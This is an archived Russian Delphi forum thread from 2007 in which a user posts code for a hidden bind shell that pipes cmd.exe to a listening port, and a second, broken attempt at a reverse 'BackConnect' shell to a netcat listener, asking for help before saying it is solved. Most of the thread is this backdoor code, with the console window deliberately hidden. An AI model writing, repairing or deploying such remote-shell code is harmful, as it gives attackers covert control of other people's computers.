Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2007.10.07;
Скачать: CL | DM;

Вниз

BackConnect на Delphi помогите плз.....   Найти похожие ветки 

 
22b   (2007-02-10 19:29) [0]

Добрый день....
столкнулся я со следуюющей проблемой реализовал вывод cmd в порт локальный...вот ф-я:
[CODE]
unction SetShell(port:integer):boolean;
 var
 WSAData: TWSAData;
 FSocket: integer;
 SockAddrIn: TSockAddrIn;
 sHandle: dword;
 St: TStartupInfo;
 Pr: TProcessInformation;
begin
 WSAStartup($202, WSAData);
 FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrIn.sin_family := AF_INET;
 SockAddrIn.sin_port := htons(port);
 bind(FSocket, SockAddrIn, 16);
 listen(FSocket, 0);
 while true do
   begin
     sHandle := accept(FSocket, nil, 0);
     if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError := sHandle;
       CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
   end;
end;
[/CODE]
А вот сейчас задумал реализовать BackConnect на открытый на прослушку порт нетката и ничего не могу поделать.... не работает и все
вот что получилось у меня в коде...

[CODE]
function SetShell(port:integer;ip:string):boolean;
 var
 WSAData: TWSAData;
 FSocket: integer;
 SockAddrOut: TSockAddrIn;
 sHandle: dword;
 St: TStartupInfo;
 Pr: TProcessInformation;
begin
 WSAStartup($202, WSAData);
 FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrOut.sin_family := AF_INET;
 SockAddrOut.sin_port := htons(port);
 SockAddrOut.sin_addr:=LookupName(ip);
 connect(FSocket, SockAddrOut, sizeof(SockAddrOut));
 ShowMessage(inttostr(sHandle));
 //listen(FSocket, 0);

     //sHandle := accept(FSocket, nil, size);
     if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError := sHandle;
       CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
end;
[/CODE]

Заранеее спасибо за ответ...


 
22b   (2007-02-10 19:34) [1]

не актуально проблема решена!!!!!!!



Страницы: 1 вся ветка

Текущий архив: 2007.10.07;
Скачать: CL | DM;

Наверх




Память: 0.47 MB
Время: 0.015 c
3-1180927711
merko
2007-06-04 07:28
2007.10.07
Подключение к удаленной БД


2-1189505304
нико-лай
2007-09-11 14:08
2007.10.07
ReadLn +Double


15-1189503688
DillerXX
2007-09-11 13:41
2007.10.07
Почему до сих пор не отменили запрет на выезд


15-1189175757
Dr. Andrew
2007-09-07 18:35
2007.10.07
Как вставить формулу в текстовом виде в функцию?


1-1185183848
Tack
2007-07-23 13:44
2007.10.07
Проверить файл при открытии контекстного меню проводника